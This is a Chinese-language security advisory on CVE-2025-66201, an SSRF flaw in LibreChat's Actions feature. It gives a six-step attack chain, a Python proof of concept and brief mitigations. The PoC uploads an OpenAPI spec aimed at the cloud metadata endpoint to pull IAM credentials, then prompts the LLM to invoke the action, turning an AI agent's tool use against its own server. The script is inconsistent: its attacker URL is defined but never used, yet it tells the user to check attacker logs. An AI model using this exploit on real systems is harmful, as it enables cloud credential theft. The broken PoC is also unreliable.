IPBUF安全漏洞报告
English
CVE-2025-66201 CVSS 8.1 高危

CVE-2025-66201 LibreChat Actions功能SSRF漏洞

披露日期: 2025-11-29

漏洞信息

漏洞编号
CVE-2025-66201
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreChat

相关标签

CVE-2025-66201SSRF服务器端请求伪造LibreChatOpenAPIActions功能云元数据服务高危漏洞

漏洞概述

LibreChat是一款开源的ChatGPT克隆项目,支持额外的功能特性。在0.8.1-rc2之前的版本中,该应用存在服务器端请求伪造(SSRF)安全漏洞。漏洞源于LibreChat的"Actions"功能允许用户提交OpenAPI规范,而应用程序在处理这些规范时未能正确验证和限制HTTP请求的目标地址。攻击者通过构造恶意的OpenAPI规范,可以诱导LibreChat服务器向内部网络资源、云元数据服务端点或其他本不应该暴露的服务发起HTTP请求。该漏洞需要认证用户才能利用,但具有Actions功能访问权限的低权限用户即可发起攻击。成功利用此漏洞可能导致敏感信息泄露、云服务账户劫持以及内网服务探测等严重后果。攻击者利用此漏洞可以绕过网络边界限制,以LibreChat服务器的身份访问仅限服务器内部网络访问的资源。

技术细节

LibreChat的Actions功能允许用户定义自定义操作,这些操作基于OpenAPI规范。当用户提交一个特制的OpenAPI规范时,应用程序会解析其中的服务器URL和端点定义。在正常情况下,LLM会根据用户请求决定是否调用这些Action,并向规范中定义的URL发送HTTP请求。漏洞点在于应用程序未对OpenAPI规范中指定的URL进行充分验证,允许攻击者指定内部网络地址(如169.254.169.254的云元数据端点)、localhost或其他敏感服务。攻击者可以构造一个OpenAPI规范,其中server URL指向云元数据服务,然后定义一个触发该端点的操作。当LLM处理特定提示时,会自动调用该Action,从而使得LibreChat服务器向攻击者控制的URL发起请求。攻击者通过这种方式可以获取云凭证、访问内部API或探测内网服务。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标LibreChat版本,确认版本低于0.8.1-rc2且Actions功能已启用
STEP 2
步骤2: 账户准备
攻击者获取或注册LibreChat账户,确保拥有Actions功能的使用权限
STEP 3
步骤3: 构造恶意OpenAPI规范
攻击者创建包含内部网络地址(如云元数据服务URL)的恶意OpenAPI规范
STEP 4
步骤4: 提交恶意规范
通过LibreChat的Actions功能上传特制的OpenAPI规范到服务器
STEP 5
步骤5: 触发请求
向LLM发送特定提示,诱导其调用Actions功能,从而触发向内部地址的HTTP请求
STEP 6
步骤6: 收集敏感信息
攻击者接收来自LibreChat服务器的请求响应,获取云凭证、内部服务数据等敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66201 LibreChat SSRF PoC # Target: LibreChat server with Actions feature enabled TARGET_URL = "http://target-librechat-server.com" ATTACKER_CONTROLLED_URL = "http://attacker-server.com/collect" METADATA_URL = "http://169.254.169.254/latest/meta-data/" def create_malicious_openapi_spec(): """Generate malicious OpenAPI spec for SSRF attack""" return { "openapi": "3.0.0", "info": { "title": "Malicious Action", "version": "1.0.0" }, "servers": [ { "url": METADATA_URL, "description": "Internal metadata service" } ], "paths": { "/iam/security-credentials": { "get": { "operationId": "getCredentials", "summary": "Get cloud credentials", "responses": { "200": { "description": "Successful response" } } } } } } def exploit(): """Execute SSRF attack via Actions feature""" # Step 1: Authenticate and get session token session = requests.Session() login_data = { "email": "[email protected]", "password": "password123" } session.post(f"{TARGET_URL}/api/auth/login", json=login_data) # Step 2: Upload malicious OpenAPI spec via Actions malicious_spec = create_malicious_openapi_spec() headers = {"Content-Type": "application/json"} response = session.post( f"{TARGET_URL}/api/actions/create", json={"spec": json.dumps(malicious_spec)}, headers=headers ) # Step 3: Trigger the action via prompt prompt = "Get my cloud credentials" session.post( f"{TARGET_URL}/api/chat", json={"message": prompt, "actionId": response.json().get("id")} ) print("SSRF payload sent. Check attacker server logs.") if __name__ == "__main__": exploit()

影响范围

LibreChat < 0.8.1-rc2

防御指南

临时缓解措施
如果无法立即升级,可临时禁用LibreChat的Actions功能,并限制服务器对内部网络地址(特别是云元数据端点)的访问。在网络层面实施 egress filtering,阻止服务器向内部IP段和云元数据地址发起请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表